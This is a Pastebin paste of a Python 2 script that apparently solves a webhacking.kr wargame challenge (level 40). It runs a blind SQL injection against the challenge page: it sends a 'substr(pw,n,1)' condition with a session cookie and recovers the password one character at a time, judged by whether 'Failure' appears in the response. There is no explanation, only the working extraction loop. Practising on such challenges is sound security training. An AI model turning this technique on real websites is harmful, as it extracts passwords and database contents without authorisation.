hdarwin

webhacking.kr_40

Jan 4th, 2013
142
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.49 KB | None | 0 0
  1. from urllib2 import *
  2. import time
  3.  
  4. session = ""
  5. url = "http://webhacking.kr/challenge/web/web-29/index.php"
  6. l = list()
  7. for y in xrange(1,11):
  8.     for x in xrange(0x20,0x7e):
  9.         req = Request(url+"?no=9||substr(pw,"+str(y)+",1)%3d"+str(hex(x))+"&id=z&pw=z")
  10.         req.add_header("Cookie", "PHPSESSID="+session)
  11.         if urlopen(req).read().find("Failure") == -1:
  12.             l.append(chr(x))
  13.             print hex(x)
  14.         time.sleep(0.1)
  15.     print ''.join(l)
  16.     l = []
Add Comment
Please, Sign In to add comment